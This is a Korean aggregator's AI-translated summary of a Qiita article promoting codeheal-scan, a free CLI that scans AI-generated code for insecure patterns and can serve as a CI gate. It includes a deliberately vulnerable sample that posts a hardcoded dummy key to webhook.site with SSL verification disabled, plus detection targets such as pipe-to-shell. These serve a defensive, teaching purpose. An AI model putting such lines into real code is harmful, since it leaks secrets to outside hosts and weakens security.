본문으로 건너뛰기

© 2026 Molayo

Qiita헤드라인2026. 06. 15. 13:07

AI가 작성한 코드, 그대로 커밋해도 괜찮을까? 무료 CLI로 30초 만에 보안 체크

요약

AI가 생성한 코드에서 빈번하게 발생하는 보안 취약점 패턴을 탐지하는 무료 CLI 도구인 codeheal-scan을 소개합니다. LLM을 사용하지 않아 비용이 없고 재현성이 높으며, AI 특유의 위험 패턴에 집중하여 정적 분석을 수행합니다.

핵심 포인트

  • AI 생성 코드는 하드코딩된 키, SSL 검증 무효화 등 보안 위험이 높음
  • codeheal-scan은 LLM 없이 동작하여 API 비용이 없고 결과가 재현됨
  • AI 생성 코드의 특화된 복합 리스크와 전형적인 패턴 탐지에 집중
  • npx 명령어를 통해 설치 없이 30초 만에 즉시 보안 스캔 가능

AI가 생성한 코드는 단 몇 줄만으로도 CRITICAL이 여러 개 나열되는 일이 드물지 않다.

직접 작성된 키(Hardcoded key), SSL 검증 무효화, 쉘(Shell)로의 직접 전달—— "작동하는 샘플"의 얼굴을 하고 위험한 코드가 양산되고 있다.

이 기사에서는 AI 생성 코드를 반복적으로 스캔하며 발견한 위험 패턴과, 설치 불필요·LLM 미사용으로 30초 만에 체크할 수 있는 무료 CLI를 소개한다.

npx -y github:ayame0328/codeheal-scan ./src

보안 스캐너를 만드는 과정에서 주요 코드 생성 AI(ChatGPT·Copilot·Claude·Cursor)에게 몇 번이고 코드를 작성하게 한 뒤, 하나하나 스캔해 보았다. 빈번하게 나타난 것은 다음과 같다.

  • API 키나 토큰의 직접 작성 (Hardcoding)
  • 사용자 입력을 거의 그대로 쉘 명령어로 전달
  • "작동하지 않으니 고쳐줘"라고 하면 돌아오는 SSL 검증 무효화
  • 에러는 무시하고, 곳곳에 있는 빈 catch 블록

예를 들어 "이 API를 호출하는 샘플을 작성해줘"라는 요청에 대한 답변이 다음과 같은 몇 줄이었던 적이 있다 (키는 숨김 처리).

API_KEY = "sk-************************"
resp = requests.post(url, data=payload, verify=False) # 인증서 체크를 무효화

두 줄 안에 직접 작성된 키와 SSL 검증 무효화가 공존하고 있다. 테스트는 통과한다. 데모도 작동한다. 그래서 리뷰의 눈을 피한다. "작동했다"라는 사실이 위험을 보이지 않게 만든다—— 이것이 AI 생성 코드의 가장 무서운 점이다.

Impact: 위험한 것은 개별 패턴보다 "양"이다. AI는 인간보다 더 빠르게 대량으로 동일한 실수를 생산한다.

"Snyk나 semgrep을 사용하면 된다"라고 생각할지도 모른다. 실제로 이들은 우수하다. 다만, 기본적으로 인간이 작성하는 코드를 전제로 설계되어 있다.

AI 생성 코드는 별개의 생태계를 가지고 있다. 작성한 본인(AI)에게 의도가 없고, 받은 사람도 내용을 읽지 않고 복사하여 붙여넣기(Copy-paste)하기 쉬우며, 그럴듯함이 위험한 코드일수록 높다.

따라서 차별화의 축은 "규칙의 망라성"이 아니라, AI가 실제로 양산하는 방식에 무게를 두는 것이라고 생각했다. 구체적으로는 2가지 점이다.

  • 복합 리스크에 대한 가점: 외부 통신 + 비밀 정보 유출과 같이 단독으로는 놓치기 쉬운 조합에 스코어를 더한다 (후술할 출력에서 Composite risks +15가 그것이다).
  • 타겟을 좁힌 큐레이션: 범용 SAST의 망라성과는 방향을 달리하여, AI 생성에서 빈번하게 발생하는 전형적인 패턴(pipe-to-shell, webhook.site 등으로의 전송, verify=False 등)에 집중한다.

Impact: "그럴듯하지만 틀린" 출력은 검사를 통해서만 잡아낼 수 있다.

codeheal-scan은 지정한 파일이나 디렉토리를 14개 카테고리·93개 규칙으로 스캔하는 정적 분석 CLI이다. LLM을 사용하지 않기 때문에 동일한 코드에는 항상 동일한 결과가 반환된다 (재현성 100%·API 비용 제로). Node.js 18 이상에서 동작한다.

# 단일 파일
npx -y github:ayame0328/codeheal-scan app.py
# 디렉토리 재귀
...

예를 들어, 위험 패턴을 담은 app.py (API_KEY는 더미 값. 이대로 붙여넣어도 동일한 결과가 나온다).

import os, requests
API_KEY = "sk-EXAMPLE000000000000000000000000"
requests.post("https://webhook.site/abc123", data={"key": API_KEY}, verify=False)
...

이를 실행하면 다음과 같이 나온다 (CLI는 검출된 해당 행을 그대로 표시한다. 실제 키를 스캔할 때는 CI 로그나 공유 대상에 노출될 수 있음에 주의하라).

=== CodeHeal Scanner ===
app.py (6 lines)
Risk Score: 134 / rank CRITICAL
...

이 파일에서 CRITICAL이 5건. 1행(verify=False...

행)만으로도 「외부 통신 (External Communication)」과 「보안 기능 무효화 (Disabling Security Features)」라는 여러 규칙에 동시에 걸린다. 게다가 해당 외부 통신(4행)과 하드코딩된 키에 의한 비밀 누출(3행)이 동일한 파일에 공존하기 때문에, 외부 통신 + 비밀 누출의 복합 위험으로 인해 +15점이 가산되는 것을 확인할 수 있다.

종료 코드(Exit Code)가 최악의 랭크에 대응하므로, CI 게이트(CI Gate)로 사용할 수 있다.

종료 코드랭크
0SAFE
...
(경로 오류나 코드 파일이 없는 경우는 별도의 코드 64 또는 66으로 종료된다. CI에서는 「스캔 대상 0 = 설정 실수」를 감지하는 데 사용할 수 있다.)
- name: AI code security scan
  run: npx -y github:ayame0328/codeheal-scan ./src
# rank >= CAUTION (exit != 0) 일 때 job이 실패함

기존 리포지토리에 갑자기 엄격한 게이트를 적용하면 빨간색(경고)이 도배되기 쉽다 (신뢰도가 낮은 탐지가 일정 수 쌓이면 CAUTION으로 승격되어 exit 1이 되는 사양). 단계적 도입을 추천한다.

# 우선은 시각화만 수행 (실패시키지 않음)
- run: npx -y github:ayame0328/codeheal-scan ./src || true
# 익숙해지면 DANGEROUS 이상일 때만 실패 처리 (CAUTION은 통과)
...

Impact: LLM을 사용하지 않으므로 재현성(Reproducibility)이 100%이며, CI 게이트 및 컴플라이언스(Compliance) 용도로도 사용할 수 있다.

항목내용
과제AI 생성 코드는 몇 줄만으로 CRITICAL이 나열된다. 양과 그 양상이 위험함
...npx -y github:ayame0328/codeheal-scan으로 14개 카테고리, 93개 규칙의 정적 체크 (Static Check)
특징LLM 미사용 · 재현성 100% · API 비용 0 · 복합 리스크 가산 · CI 게이트 가능

AI에게 코드를 맡기는 양이 늘어날수록, 기계적으로 체크하는 수단의 가치는 올라간다. 우선 자신의 리포지토리에 한 번 돌려보길 권한다. 생각보다 빨간색이 많이 나올 것이다.

무료 CLI (설치 불필요 · Node 18+ · npm 계정 불필요): npx -y github:ayame0328/codeheal-scan ./src

GitHub: https://github.com/ayame0328/codeheal-scan (첫 실행 시 클론 확인을 위해 y 입력 필요. -y 옵션으로 생략 가능) - AI 생성 코드의 취약점 14개 카테고리를 「왜 위험한가 → 어떻게 고치는가」로 해설한
실전 가이드 (제1장은 무료 · 곧 공개 예정). 공개 알림은 프로필에서 확인 가능:

피드백을 환영합니다. 「내 코드에서 이게 나왔다」와 같은 보고도 대환영입니다.

AI 자동 생성 콘텐츠

본 콘텐츠는 Qiita AI의 원문을 AI가 자동으로 요약·번역·분석한 것입니다. 원 저작권은 원저작자에게 있으며, 정확한 내용은 반드시 원문을 확인해 주세요.

원문 바로가기
0

댓글

0